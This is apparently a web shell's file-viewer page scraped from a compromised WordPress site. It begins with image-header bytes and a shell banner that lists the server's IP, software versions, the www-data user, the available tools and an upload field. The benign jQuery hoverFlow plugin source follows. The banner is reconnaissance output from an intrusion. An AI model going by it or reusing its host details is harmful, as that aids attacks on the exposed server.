????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 13.59.198.133 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.eu/wp-content/themes/Avada/assets/js/ |
Upload File : |
/* * hoverFlow - A Solution to Animation Queue Buildup in jQuery * Version 1.00 * * Copyright (c) 2009 Ralf Stoltze, http://www.2meter3.de/code/hoverFlow/ * Dual-licensed under the MIT and GPL licenses. * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ (function($) { $.fn.hoverFlow = function(type, prop, speed, easing, callback) { // only allow hover events if ($.inArray(type, ['mouseover', 'mouseenter', 'mouseout', 'mouseleave']) == -1) { return this; } // build animation options object from arguments // based on internal speed function from jQuery core var opt = typeof speed === 'object' ? speed : { complete: callback || !callback && easing || $.isFunction(speed) && speed, duration: speed, easing: callback && easing || easing && !$.isFunction(easing) && easing }; // run immediately opt.queue = false; // wrap original callback and add dequeue var origCallback = opt.complete; opt.complete = function() { // execute next function in queue $(this).dequeue(); // execute original callback if ($.isFunction(origCallback)) { origCallback.call(this); } }; // keep the chain intact return this.each(function() { var $this = $(this); // set flag when mouse is over element if (type == 'mouseover' || type == 'mouseenter') { $this.data('jQuery.hoverFlow', true); } else { $this.removeData('jQuery.hoverFlow'); } // enqueue function $this.queue(function() { // check mouse position at runtime var condition = (type == 'mouseover' || type == 'mouseenter') ? // read: true if mouse is over element $this.data('jQuery.hoverFlow') !== undefined : // read: true if mouse is _not_ over element $this.data('jQuery.hoverFlow') === undefined; // only execute animation if condition is met, which is: // - only run mouseover animation if mouse _is_ currently over the element // - only run mouseout animation if the mouse is currently _not_ over the element if(condition) { $this.animate(prop, opt); // else, clear queue, since there's nothing more to do } else { $this.queue([]); } }); }); }; })(jQuery);